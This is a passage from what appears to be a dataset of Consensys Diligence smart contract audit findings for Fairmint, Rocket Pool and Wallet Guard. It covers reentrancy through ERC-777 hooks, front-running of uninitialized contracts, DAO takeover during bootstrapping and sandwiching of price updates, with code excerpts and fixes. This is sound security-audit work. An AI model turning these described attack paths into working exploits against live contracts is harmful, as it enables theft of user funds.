coexist. packages/snap/src/http/fetchTransaction.ts:L32-L40 const simulateRequest: SimulateRequestParams = { id: crypto.randomUUID(), chainID: mappedChainId, signer: transaction.from as string, origin: transactionOrigin as string, method: transaction.method as string, transaction, source: 'SNAP', }; packages/snap/src/types/simulateApi.ts:L25-L35 export type SimulateRequestParams = { id: string; chainID: string; signer: string; origin: string; method: string; transaction: { [key: string]: Json; }; source: 'SNAP'; }; ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2023/07/wallet-guard/"}, {"title": "6.1 FAIR can be stolen using ERC-777 hooks ", "body": " Resolution fixed by completely removing ERC-777 support. Description The sell() function calls out to user-configured hooks when burning incoming FAIR tokens. The buy() function does the same if the DAT s currency is ERC-777 compliant. Either of these hooks might invoke malicious code to re-enter the DAT, allowing them to sell and/or buy FAIR tokens at an unintentionally favourable price. Such attacks may leave the DAT undercollateralized, resulting in other investors being unable to redeem their FAIR for currency. Example Here are some ordered extracts from the code invoked when DAT.buy() is called, when the DAT s currency is an ERC-777 compliant token. code/contracts/DecentralizedAutonomousTrust.vy:L629 tokenValue: uint256 = self.estimateBuyValue(_currencyValue) The code above does a calculation using FAIR.totalSupply as input. The higher FAIR.totalSupply is, the more expensive FAIR tokens become. code/contracts/DecentralizedAutonomousTrust.vy:L502-L503 if(self.isCurrencyERC777): self.currency.operatorSend(_from, self, _quantityToInvest, \"\", \"\") Per the ERC-777 standard, the code above invokes an arbitrary tokensToSend() hook configured by the buyer. code/contracts/DecentralizedAutonomousTrust.vy:L654 self.fair.mint(msg.sender, _to, tokenValue, \"\", \"\") The code above increments FAIR.totalSupply, effectively increasing the price of FAIR tokens. This happens after the other two code extracts have completed. An attacker can exploit re-entrancy during the tokensToSend() hook, to purchase further tokens at a (perhaps extremely) favourable price before FAIR.totalSupply is incremented. If the price at the time of the initial buy() is very low (as it will be when totalSupply is small or zero), then they may be able to buy huge amounts of FAIR at that very low price. Recommendation Prevent reentrancy by adding a mutex (using Vyper s @nonreentrant() decorator) across all functions that result in ERC-777 token transfers (of FAIR or an ERC-777 currency). ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/fairmint-continuous-securities-offering/"}, {"title": "6.2 BigDiv does not prevent overflow in some cases where it should ", "body": " Resolution Fixed in the Solidity implementation. Description BigDiv.vy has been created with the aim of allowing calculations like (a * b) / d to succeed where an intermediate step (e.g. a * b) might overflow but the end result is <= MAX_UINT256. All of the functions sometimes fail in this aim if the numerators are large and of the same order of magnitude. (E.g. for bigDiv2x1, it fails if _numA / MAX_BEFORE_SQUARE = numB / MAX_BEFORE_SQUARE > 0) The chances of this issue being hit accidentally or exploited deliberately in the current code will both greatly depend on the DAT s configuration and its state. (If the numbers are amenable, an attacker could conceivably front run transactions and adjust FAIR balances in a way that causes targeted transactions to fail.) Having functions that unexpectedly fail is dangerous for future consumers of this code, and the (simplest possible) fix is small. Examples The following code overflows in the code as audited, but succeeds (returning MAX_INT) if MAX_BEFORE_SQUARE is altered as suggested in issue 6.4. bigDiv2x1 also overflows for some simple cases where the result is far below MAX_UINT256. E.g.: Recommendations 1. Fix overflows The following code appears in each BigDiv function: code/contracts/BigDiv.vy:L30-L31 if(factor == 0): factor = 1 Replacing every instance of these two lines with simply factor += 1 will avoid overflows. It will also reduce the (currently undocumented) accuracy of the result in some cases, so see recommendations in issue 6.4. 2. Add automated regression tests for all BigDiv functions We have already written some basic test code and can supply it on request. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/fairmint-continuous-securities-offering/"}, {"title": "6.3 Square roots are not calculated accurately for inputs below ~10^30 ", "body": " Resolution This has been addressed. Description The rounding performed when calculating square roots results in an extreme loss of precision for numbers < ~10^30. This may or may not be OK. Typically the numbers being square rooted will be significantly larger than 10^30, but when supply is low and the value of a buy / pay is also low, this rounding could have a dramatic effect. In any case, the square rooting logic and its limitations could be be better documented and tested. Examples In both places where _toDecimalWithPlaces is used, it is surrounded by the same code, which combines with _toDecimalWithPlaces to calculate a square root of a uint256: code/contracts/DecentralizedAutonomousTrust.vy:L792-L808 # Math: Truncates last 18 digits from tokenValue here tokenValue /= DIGITS_UINT # Math: Truncates another 8 digits from tokenValue (losing 26 digits in total) # This will cause small values to round to 0 tokens for the payment (the payment is still accepted) # Math: Max supported tokenValue is 1.7e+56. If supply is at the hard-cap tokenValue would be 1e38, leaving room # for a _currencyValue up to 1.7e33 (or 1.7e15 after decimals) decimalValue: decimal = self._toDecimalWithPlaces(tokenValue) decimalValue = sqrt(decimalValue) # Unshift results # Math: decimalValue has a max value of 2^127 - 1 which after sqrt can always be multiplied # here without overflow decimalValue *= DIGITS_DECIMAL tokenValue = convert(decimalValue, uint256) This code casts the number to a decimal so that Vyper s sqrt can be used, after first doing some rounding to prevent overflow during the cast. After all of this is done, it casts back to a uint256. The result of the rounding + casts is reasonably accurate square root for very large integers, but it loses a lot of accuracy for smaller integers. E.g. an integer as small as 12345678901234567890123456 results in a square root value of 0. Recommendations 1. Reduce code duplication and document assumption / limitations By moving the common surrounding code inside the _toDecimalWithPlaces function, that function could be renamed (e.g. to integerSqrt) and the limitations of the whole square root calculation could be more easily documented. 2. Test the documented limitations of the integerSqrt operation To verify the documented limitations, thereby reducing the chances of this code being misused by a different developer at a later stage of the same project. 3. If accuracy for smaller integers is important, improve it Greater accuracy may be achievable by writing or importing a function that approximates square roots using integer arithmetic and Newton s Method, without ever casting to a decimal. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/fairmint-continuous-securities-offering/"}, {"title": "6.4 BigDiv estimates some values that could be easily calculated ", "body": " Resolution Fixed in the port to Solidity. Description The accuracy of BigDiv s functions is neither documented clearly nor directly tested. (The csv tests should exercise much of the BigDiv code, but it s hard to see exactly what calculations are being done.) BigDiv returns estimates in some cases where it could easily calculate a precise answer. Having spoken offline about FAIR s requirements, we believe the lack of accuracy itself is probably not a problem right now, but it creates a small risk of BigDiv being accidentally misused in future scenarios where its level of accuracy is insufficient (perhaps by a different developer, during a new phase of the FAIR project). In any case, BigDiv s behaviour could be better documented and tested. Examples For comparison, we define a simpler function: @public @constant def simpleDiv( _numA: uint256, _numB: uint256, _den: uint256 ) -> uint256: return _numA * _numB / _den In some cases where both bigDiv2x1 and simpleDiv both succeed, bigDiv2x1 is less accurate than simpleDiv: a='1' b='99993402823669209384634633746074317682114579999' BigDiv.bigDiv2x1(a, b, '8', false) -- succeeds, approximate answer simpleDiv(a, b, '8') -- succeeds, exact answer Also, the constants MAX_BEFORE_SQUARE and MAX_BEFORE_CUBE seem to have been miscalculated, resulting in estimation happening slightly more often than necessary. Recommendations 1. Document expected accuracy / rounding To prevent accidental misuse of these functions in the future. 2. Add automated regression tests for all BigDiv functions We have written some basic unit test code as part of our audit, and can supply it on request. 3. If maximising accuracy is important, improve it There is some low-hanging fruit here, such as: increasing MAX_BEFORE_SQUARE and MAX_BEFORE_CUBE to 340282366920938463463374607431768211456 and 48740834812604276470692695, respectively. Per code logic, these numbers are really the first numbers that cannot be squared and cubed, so you may also wish to rename the constants. Note that MAX_BEFORE_SQUARE is also defined in the DAT contract Add a check for overflow before resorting to estimation. E.g. for bigDiv2x...: if(MAX_UINT256 / _numA > _numB): # No rounding required. Return exact result return _numA * _numB / _den This latter change may reduce gas consumption as well as improving accuracy. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/fairmint-continuous-securities-offering/"}, {"title": "6.5 Unused code in BigDiv functions ", "body": " Resolution Fixed. Description Some parameters and associated logic can be removed from BigDiv s functions. This would simplify the code, as well as the analysis and testing of the code. Examples The _roundUp parameter is always false in the following functions: bigDiv2x1 bigDiv3x1 bigDiv3x3 Associated conditionals are numerous. E.g. bigDiv3x3 s code branches 7 times on the value of _roundUp, even though it is always false. Recommendation Remove unused code and associated logic. Add tests for code that remains. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/fairmint-continuous-securities-offering/"}, {"title": "6.6 FAIR - Calling transferFrom should not emit the Approval event ", "body": " Resolution Closed as WontFix. This behavior is a de facto standard based on it s usage in the OpenZeppelin implementation of ERC20. Description The method transferFrom() sends some already approved tokens to some address: code/contracts/FAIR.vy:L427-L439 @public def transferFrom( _from: address, _to: address, _value: uint256 ) -> bool: \"\"\" @notice Transfers `_value` amount of tokens from address `_from` to address `_to` if authorized. \"\"\" self.allowances[_from][msg.sender] -= _value self._send(msg.sender, _from, _to, _value, False, \"\", \"\") log.Approval(_from, msg.sender, self.allowances[_from][msg.sender]) return True But it also emits an Approval event. code/contracts/FAIR.vy:L438 log.Approval(_from, msg.sender, self.allowances[_from][msg.sender]) The event does not seem to create problems, it basically updates the remaining approved tokens. Examples The EIP 20 documentation states that the event should be emitted when a successful call to approve happens. It does not say if it should (or should not) be used when successfully calling transferFrom(). https://eips.ethereum.org/EIPS/eip-20#approval It does not seem to violate the EIP 20 or EIP 777 standard and it helps any off-chain service monitoring the contract, keep track of how many remaining approved tokens are left, without having any previous state. However any re-entrancy issues will make the transaction emit multiple events, each event having different amounts approved, the last emitted event having the highest value, which will be the incorrect one. Recommendation We suggest removing the emitted log because it can create problems. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2019/11/fairmint-continuous-securities-offering/"}, {"title": "6.7 On-chain logic cannot reliably prevent a malicious beneficiary from purchasing tokens at a discount ", "body": " Resolution closed as WontFix. Fraudulent token purchases by the Beneficiary are prevented by the associated legal agreements, not by on-chain logic. The extra code should actually be thought of as enabling a legitimate method for the Beneficiary purchase tokens at a fair price. Description The buy() function contains unique logic for identifying and processing an investment by the beneficiary: code/contracts/DecentralizedAutonomousTrust.vy:L650-L658 elif(self.state == STATE_RUN): if(_to != self.beneficiary): self._distributeInvestment(_currencyValue) self.fair.mint(msg.sender, _to, tokenValue, \"\", \"\") if(self.state == STATE_RUN): if(_to == self.beneficiary): self._applyBurnThreshold() # must mint before this call Because the beneficiary receives a portion amount invested, without this logic the beneficiary organization could purchase FAIRs for a fraction of the price compared to external investors. However, this logic can be easily circumvented by a dishonest beneficiary using another address for investments. The Fairmint team has explained that they are aware that this protection can be circumvented. The legal layer is necessary to enforce good behaviour, and the beneficiary would be committing fraud in case they purchased FAIRs using another address. Thus the extra code should actually be thought of as enabling the Beneficiary to legitimately purchase tokens. Recommendation This functionality introduces extra code. Consider reducing complexity by removing this functionality if it is not essential. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/fairmint-continuous-securities-offering/"}, {"title": "6.8 FAIR is not ERC-777 compliant ", "body": " Resolution fixed by removing ERC-777 support Description A comment at the top of FAIR.vy describes it as an ERC-777 and ERC-20 compliant token . But by the code s own acknowledgement, it is not fully ERC-777 compliant in its current state. Examples The contract is non-compliant with ERC-777 in at least the following ways: Does not allow per-user revocation of the default operator (the DAT) Does not call the ERC777 tokensToSend and tokensReceived hooks within transfer and transferFrom It is (correctly, given the points above) not ERC820-registered as an ERC777Token This list may not be exhaustive. Recommendation Implementing the standard fully may improve interop, so implementing all missing logic should be considered. If not in full compliance: avoid publishing any documentation that could be construed as claiming ERC-777 compliance, including code comments. in accordance with other findings, consider removing ERC-777 compliance, and restricting the functionality to ERC-20. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/fairmint-continuous-securities-offering/"}, {"title": "6.9 Not compliant with ERC1404 ", "body": " Resolution Fixed. Porting to solidity enabled compliance with ERC1404. Description The ERC1404 standard is an extension of the ERC20 standard. Here it has been implemented as a standalone contract, but does not contain all of the extra functions required by ERC1404. As such, neither the FAIR contract nor the ERC1404 contract is ERC1404-compliant. Recommendations Rename the ERC1404 contract to be something more generic like Whitelist. This is more descriptive, and avoids confusion between Whitelist.approve() and the completely unrelated approve() function that an ERC1404-compliant contract should inherit from ERC20. Fully implement ERC1404 in FAIR by adding messageForTransferRestriction(), if and only if the standard can be changed to accommodate Vyper s types. If it cannot, drop all claims or implications of ERC1404 support. To further reduce confusion, consider renaming approve(), and perhaps splitting it into 2 separate functions. E.g. allow() and deny(). 7 Code quality recommendations This sections compiles suggestions which do not pose a direct threat to security, but would otherwise improve the quality of the code. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2019/11/fairmint-continuous-securities-offering/"}, {"title": "7.1 DecentralizedAutonomousTrust.sol", "body": " The method _authorizeTransfer could be rewritten as a modifier, if desired. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/fairmint-continuous-securities-offering/"}, {"title": "7.2 Whitelist.sol", "body": " The argument _isSell is not used in the method authorizeTransfer(). ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/fairmint-continuous-securities-offering/"}, {"title": "7.3 Sqrt.sol", "body": " SafeMath.sol is imported to Sqrt.sol, but is not used. 8 Gas efficiency optimization recommendations ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/fairmint-continuous-securities-offering/"}, {"title": "8.1 DecentralizedAutonomousTrust.sol", "body": " The BigDiv.sol and Sqrt.sol contracts are deployed separately and their methods are accessed as external calls. This is more expensive than accessing the functions as libraries. Ie. library BigDiv and using BigDiv for uint. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2019/11/fairmint-continuous-securities-offering/"}, {"title": "6.1 RocketDaoNodeTrusted - DAO takeover during deployment/bootstrapping ", "body": " Resolution The node registration is enabled by default (node.registration.enabled) but the client intends to change this to disabling the registration until bootstrap mode finished. We are intending to set node registrations to false during deployment, then open it up when we need to register our oDAO nodes Description The initial deployer of the RocketStorage contract is set as the Guardian/Bootstrapping role. This guardian can bootstrap the TrustedNode and Protocol DAO, add members, upgrade components, change settings. Right after deploying the DAO contract the member count is zero. The Guardian can now begin calling any of the bootstrapping functions to add members, change settings, upgrade components, interact with the treasury, etc. The bootstrapping configuration by the Guardian is unlikely to all happen within one transaction which might allow other parties to interact with the system while it is being set up. RocketDaoNodeTrusted also implements a recovery mode that allows any registered node to invite themselves directly into the DAO without requiring approval from the Guardian or potential other DAO members as long as the total member count is below daoMemberMinCount (3). The Guardian itself is not counted as a DAO member as it is a supervisory role. rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/RocketDAONodeTrusted.sol:L202-L215 /**** Recovery ***************/ // In an explicable black swan scenario where the DAO loses more than the min membership required (3), this method can be used by a regular node operator to join the DAO // Must have their ID, email, current RPL bond amount available and must be called by their current registered node account function memberJoinRequired(string memory _id, string memory _email) override public onlyLowMemberMode onlyRegisteredNode(msg.sender) onlyLatestContract(\"rocketDAONodeTrusted\", address(this)) { // Ok good to go, lets add them (bool successPropose, bytes memory responsePropose) = getContractAddress('rocketDAONodeTrustedProposals').call(abi.encodeWithSignature(\"proposalInvite(string,string,address)\", _id, _email, msg.sender)); // Was there an error? require(successPropose, getRevertMsg(responsePropose)); // Get the to automatically join as a member (by a regular proposal, they would have to manually accept, but this is no ordinary situation) (bool successJoin, bytes memory responseJoin) = getContractAddress(\"rocketDAONodeTrustedActions\").call(abi.encodeWithSignature(\"actionJoinRequired(address)\", msg.sender)); // Was there an error? require(successJoin, getRevertMsg(responseJoin)); This opens up a window during the bootstrapping phase where any Ethereum Address might be able to register as a node (RocketNodeManager.registerNode) if node registration is enabled (default=true) rushing into RocketDAONodeTrusted.memberJoinRequired adding themselves (up to 3 nodes) as trusted nodes to the DAO. The new DAO members can now take over the DAO by issuing proposals, waiting 2 blocks to vote/execute them (upgrade, change settings while Guardian is changing settings, etc.). The Guardian role can kick the new DAO members, however, they can invite themselves back into the DAO. rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/protocol/settings/RocketDAOProtocolSettingsNode.sol:L19-L19 setSettingBool(\"node.registration.enabled\", true); Recommendation Disable the DAO recovery mode during bootstrapping. Disable node registration by default and require the guardian to enable it. Ensure that bootstrapDisable (in both DAO contracts) performs sanity checks as to whether the DAO bootstrapping finished and permissions can effectively be revoked without putting the DAO at risk or in an irrecoverable state (enough members bootstrapped, vital configurations like registration and other settings are configured, \u2026). ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.2 RocketTokenRETH - sandwiching opportunity on price updates ", "body": " Resolution This issue is being addressed in a currently pending pull request. By introducing a delay between an rETH deposit and a subsequent transfer or burn, sandwiching a price update transaction is not possible anymore. Specifically, a deposit delay of circa one day is introduced: https://github.com/rocket-pool/rocketpool/pull/201/files#diff-0387338dc5dd7edd0a03766cfdaaee42d021d4e781239d5ebbff359c81497839R146-R150 // This is called by the base ERC20 contract before all transfer, mint, and burns function _beforeTokenTransfer(address from, address, uint256) internal override { // Don't run check if this is a mint transaction if (from != address(0)) { // Check which block the user's last deposit was bytes32 key = keccak256(abi.encodePacked(\"user.deposit.block\", from)); uint256 lastDepositBlock = getUint(key); if (lastDepositBlock > 0) { // Ensure enough blocks have passed RocketDAOProtocolSettingsNetworkInterface rocketDAOProtocolSettingsNetwork = RocketDAOProtocolSettingsNetworkInterface(getContractAddress(\"rocketDAOProtocolSettingsNetwork\")); uint256 blocksPassed = block.number.sub(lastDepositBlock); require(blocksPassed > rocketDAOProtocolSettingsNetwork.getRethDepositDelay(), \"Not enough time has passed since deposit\"); // Clear the state as it's no longer necessary to check this until another deposit is made deleteUint(key); In the current version, it is correctly enforced that a deposit delay of zero is not possible. Description The rETH token price is not coupled to the amount of rETH tokens in circulation on the Ethereum chain. The price is reported by oracle nodes and committed to the system via a voting process. The price of rETH changes If 51% of nodes observe and submit the same price information. If nodes fail to find price consensus for a block, then the rETH price might be stale. There is an opportunity for the user to front-run the price update right before it is committed. If the next price is higher than the previous (typical case), this gives an instant opportunity to perform a risk-free ETH -> rETH -> ETH exchange for profit. In the worst case, one could drain all the ETH held by the RocketTokenRETH contract + excess funds stored in the vault. Note: there seems to be a \"network.submit.balances.frequency\" price and balance submission frequency of 24hrs. However, this frequency is not enforced, and it is questionable if it makes sense to pin the price for 24hrs. Note: the total supply of the RocketTokenRETH contract may be completely disconnected from the reported total supply for RETH via oracle nodes. Examples The amount of ETH was only staked during this one process for the price update duration and unlikely to be useful to the system. This way, a whale (only limited by the max deposit amount set on deposit) can drain the RocketTokenRETH contract from all its ETH and excess eth funds. mempool observed: submitPrice tx (an effective transaction that changes the price) wrapped with buying rETH and selling rETH for ETH: RocketDepositPool.deposit() at old price => mints rETH at current rate RocketNetworkPrices.submitPrices(newRate) RocketTokenRETH.burn(balanceOf(msg.sender) => burns rETH for ETH at new rate deposit (virtually no limit with 1000ETH being the limit right now) rocketpool-2.5-Tokenomics-updates/contracts/contract/deposit/RocketDepositPool.sol:L63-L67 require(rocketDAOProtocolSettingsDeposit.getDepositEnabled(), \"Deposits into Rocket Pool are currently disabled\"); require(msg.value >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit(), \"The deposited amount is less than the minimum deposit size\"); require(getBalance().add(msg.value) <= rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize(), \"The deposit pool size after depositing exceeds the maximum size\"); // Mint rETH to user account rocketTokenRETH.mint(msg.value, msg.sender); trustedNodes submitPrice (changes params for getEthValue and getRethValue) rocketpool-2.5-Tokenomics-updates/contracts/contract/network/RocketNetworkPrices.sol:L69-L72 RocketDAONodeTrustedInterface rocketDAONodeTrusted = RocketDAONodeTrustedInterface(getContractAddress(\"rocketDAONodeTrusted\")); if (calcBase.mul(submissionCount).div(rocketDAONodeTrusted.getMemberCount()) >= rocketDAOProtocolSettingsNetwork.getNodeConsensusThreshold()) { updatePrices(_block, _rplPrice); immediately burn at new rate (as params for getEthValue changed) rocketpool-2.5-Tokenomics-updates/contracts/contract/token/RocketTokenRETH.sol:L107-L124 function burn(uint256 _rethAmount) override external { // Check rETH amount require(_rethAmount > 0, \"Invalid token burn amount\"); require(balanceOf(msg.sender) >= _rethAmount, \"Insufficient rETH balance\"); // Get ETH amount uint256 ethAmount = getEthValue(_rethAmount); // Get & check ETH balance uint256 ethBalance = getTotalCollateral(); require(ethBalance >= ethAmount, \"Insufficient ETH balance for exchange\"); // Update balance & supply _burn(msg.sender, _rethAmount); // Withdraw ETH from deposit pool if required withdrawDepositCollateral(ethAmount); // Transfer ETH to sender msg.sender.transfer(ethAmount); // Emit tokens burned event emit TokensBurned(msg.sender, _rethAmount, ethAmount, block.timestamp); ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.3 RocketDaoNodeTrustedActions - Incomplete implementation of member challenge process ", "body": " Resolution As of the Smartnode s Description Nodes do not seem to monitor ActionChallengeMade events so that they could react to challenges Nodes do not implement actionChallengeDecide and, therefore, cannot successfully stop a challenge Funds/Tribute sent along with the challenge will be locked forever in the RocketDAONodeTrustedActions contract. There s no means to recover the funds. It is questionable whether the incentives are aligned well enough for anyone to challenge stale nodes. The default of 1 eth compared to the risk of the malicious or stale node exiting themselves is quite high. The challenger is not incentivized to challenge someone other than for taking over the DAO. If the tribute is too low, this might incentivize users to grief trusted nodes and force them to close a challenge. Requiring that the challenge initiator is a different registered node than the challenge finalized is a weak protection since the system is open to anyone to register as a node (even without depositing any funds.) block time is subject to fluctuations. With the default of 43204 blocks, the challenge might expire at 5 days (10 seconds block time), 6.5 days (13 seconds Ethereum target median block time), 7 days (14 seconds), or more with historic block times going up to 20 seconds for shorter periods. A minority of trusted nodes may use this functionality to boot other trusted node members off the DAO issuing challenges once a day until the DAO member number is low enough to allow them to reach quorum for their own proposals or until the member threshold allows them to add new nodes without having to go through the proposal process at all. Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/settings/RocketDAONodeTrustedSettingsMembers.sol:L22-L24 setSettingUint('members.challenge.cooldown', 6172); // How long a member must wait before performing another challenge, approx. 1 day worth of blocks setSettingUint('members.challenge.window', 43204); // How long a member has to respond to a challenge. 7 days worth of blocks setSettingUint('members.challenge.cost', 1 ether); // How much it costs a non-member to challenge a members node. It's free for current members to challenge other members. rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/RocketDAONodeTrustedActions.sol:L204-L206 // In the event that the majority/all of members go offline permanently and no more proposals could be passed, a current member or a regular node can 'challenge' a DAO members node to respond // If it does not respond in the given window, it can be removed as a member. The one who removes the member after the challenge isn't met, must be another node other than the proposer to provide some oversight // This should only be used in an emergency situation to recover the DAO. Members that need removing when consensus is still viable, should be done via the 'kick' method. Recommendation Implement the challenge-response process before enabling users to challenge other nodes. Implement means to detect misuse of this feature for griefing e.g. when one trusted node member forces another trusted node to defeat challenges over and over again (technical controls, monitoring). ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.4 RocketDAOProtocolSettings/RocketDAONodeTrustedSettings - anyone can set/overwrite settings until contract is declared deployed ", "body": " Resolution The client is aware of and acknowledges this potential issue. As with the current contracts the deployed flag is always set in the constructor and there will be no window for someone else to interact with the contract before this flag is set. The following statement was provided: [\u2026] this method is purely to set the initial default vars. It shouldn t be run again due to the deployment flag being flagged incase that contract is upgraded and those default vars aren t removed. Additionally, it was suggested to add safeguards to the access restricting modifier, to only allowing the guardian to change settings if a settings contract forgets to set the deployed flag in the constructor (Note: the deployed flag must be set with the deploing transaction or else there might be a window for someone to interact with the contract before it is fully configured). Description The onlyDAOProtocolProposal modifier guards all state-changing methods in this contract. However, analog to issue 6.5, the access control is disabled until the variable settingsNameSpace.deployed is set. If this contract is not deployed and configured in one transaction, anyone can update the contract while left unprotected on the blockchain. See issue 6.5 for a similar issue. Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/protocol/settings/RocketDAOProtocolSettings.sol:L18-L23 modifier onlyDAOProtocolProposal() { // If this contract has been initialised, only allow access from the proposals contract if(getBool(keccak256(abi.encodePacked(settingNameSpace, \"deployed\")))) require(getContractAddress('rocketDAOProtocolProposals') == msg.sender, \"Only DAO Protocol Proposals contract can update a setting\"); _; rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/settings/RocketDAONodeTrustedSettings.sol:L18-L22 modifier onlyDAONodeTrustedProposal() { // If this contract has been initialised, only allow access from the proposals contract if(getBool(keccak256(abi.encodePacked(settingNameSpace, \"deployed\")))) require(getContractAddress('rocketDAONodeTrustedProposals') == msg.sender, \"Only DAO Node Trusted Proposals contract can update a setting\"); _; There are at least 9 more occurrences of this pattern. Recommendation Restrict access to the methods to a temporary trusted account (e.g. guardian) until the system bootstrapping phase ends by setting deployed to true. ", "labels": ["Consensys", "Critical", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.5 RocketStorage - anyone can set/update values before the contract is initialized ", "body": " Resolution Fixed by restricting access to the guardian while the contract is not yet initialized. The relevant changeset is rocket-pool/rocketpool@495a51f. The client provided the following statement: tx.origin is only used in this deployment instance and should be safe since no external contracts are interacted with The client is aware of the implication of using tx.origin and that the guardian should never be used to interact with third-party contracts as the contract may be able to impersonate the guardian changing settings in the storage contract during that transaction. https://github.com/ConsenSys/rocketpool-audit-2021-03/blob/0a5f680ae0f4da0c5639a241bd1605512cba6004/rocketpool-rp3.0-updates/contracts/contract/RocketStorage.sol#L31-L32 Description According to the deployment script, the contract is deployed, and settings are configured in multiple transactions. This also means that for a period of time, the contract is left unprotected on the blockchain. Anyone can delete/set any value in the centralized data store. An attacker might monitor the mempool for new deployments of the RocketStorage contract and front-run calls to contract.storage.initialised setting arbitrary values in the system. Examples rocketpool-2.5-Tokenomics-updates/contracts/contract/RocketStorage.sol:L24-L31 modifier onlyLatestRocketNetworkContract() { // The owner and other contracts are only allowed to set the storage upon deployment to register the initial contracts/settings, afterwards their direct access is disabled if (boolStorage[keccak256(abi.encodePacked(\"contract.storage.initialised\"))] == true) { // Make sure the access is permitted to only contracts in our Dapp require(boolStorage[keccak256(abi.encodePacked(\"contract.exists\", msg.sender))], \"Invalid or outdated network contract\"); _; Recommendation Restrict access to the methods to a temporary trusted account (e.g. guardian) until the system bootstrapping phase ends by setting initialised to true. ", "labels": ["Consensys", "Critical", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.6 RocketDAOProposals - Unpredictable behavior due to short vote delay Addressed", "body": " Resolution Addressed in branch rocket-pool/rocketpool@b424ca1) by changing the default delay Description rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/RocketDAOProposal.sol:L167-L170 require(_startBlock > block.number, \"Proposal start block must be in the future\"); require(_durationBlocks > 0, \"Proposal cannot have a duration of 0 blocks\"); require(_expiresBlocks > 0, \"Proposal cannot have a execution expiration of 0 blocks\"); require(_votesRequired > 0, \"Proposal cannot have a 0 votes required to be successful\"); The default vote delay configured in the system is 1 block. rocketpool-2.5-Tokenomics-updates/contracts/contract/dao/node/settings/RocketDAONodeTrustedSettingsProposals.sol:L21-L21 setSettingUint('proposal.vote.delay.blocks', 1); // How long before a proposal can be voted on after it is created. Approx. Next Block A vote is immediately passed when the required quorum is reached which allows it to be executed. This means that a group that is holding enough voting power can propose a change, wait for two blocks (block.number (of time of proposal creation) + configuredDelay (1) + 1 (for ACTIVE state), then vote and execute for the proposal to pass for it to take effect almost immediately after only 2 blocks (<30seconds). Settings can be changed after 30 seconds which might be unpredictable for other DAO members and not give them enough time to oppose and leave the DAO. Recommendation The underlying issue is that users of the system can t be sure what the behavior of a function call will be, and this is because the behavior can change after two blocks. The only guarantee is that users can be sure the settings don t change for the next block if no proposal is active. We recommend giving the user advance notice of changes with a delay. For example, all upgrades should require two steps with a mandatory time window between them. The first step merely broadcasts to users that a particular change is coming, and the second step commits that change after a suitable waiting period. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/04/rocketpool/"}, {"title": "6.7 RocketRewardPool - Unpredictable staking rewards as stake can be added just before claiming and rewards may be paid to to operators that do not provide a service to the system Partially Addressed", "body": " Resolution Partially addressed in branch rp3.0-updates (rocket-pool/rocketpool@b424ca1) by changing the withdrawal requirements to 150% of the effective RPL. The client provided the following statement: Node operators can now only withdraw RPL above their 150% effective RPL stake. Description Nodes/TrustedNodes earn rewards based on the current share of the effective RPL stake provided backing the number of Minipools they run. The reward is paid out regardless of when the effective node stake was provided, as long as it is present just before the call to claim(). This means the reward does not take into account how long the stake was provided. The effective RPL stake is the nodes RPL stake capped at a maximum of halfDepositUserAmount * 150% * nr_of_minipools(node) / RPLPrice. If the node does not run any Minipools, the effective RPL stake is zero. Since effective stake can be added just before calling the claim() method (effectively trying to get a reward for a period that passed without RPL being staked for the full duration), this might create an unpredictable outcome for other participants, as adding significant stake (requires creating Minipools and staking the max per pool; the stake is locked for at least the duration of a reward period rpl.rewards.claim.period.blocks) shifts the shares users get for the fixed total amount of rewards. This can be unfair if the first users claimed their reward, and then someone is artificially inflating the total amount of shares by adding more stake to get a bigger part of the remaining reward. However, this comes at the cost of the registered node having to create more Minipools to stake more, requiring an initial deposit (16ETH, or 0ETH under certain circumstances for trusted nodes) by the actor attempting to get a larger share of the rewards. The risk of losing funds for this actor, however, is rather low, as they can immediately dissolve() and close() the Minipool to refund their node deposit as NETH right after claiming the reward only losing the gas spent on the various transactions. This can be extended to a node operator creating a Minipool and staking the maximum amount before calling claim to remove the Minipool right after, freeing up the ETH that was locked in the Minipool until the next reward period starts. The node operator is not providing any service to the network, loses some value in ETH for gas but may compensate that with the RPL staking rewards. If the node amassed a significant amount of RPL stake, they might even try to flash-loan enough ETH to spawn Minipools to inflate their effective stake and earn most of the rewards to return the loan RPL profit. By staking just before claiming, the node effectively can earn 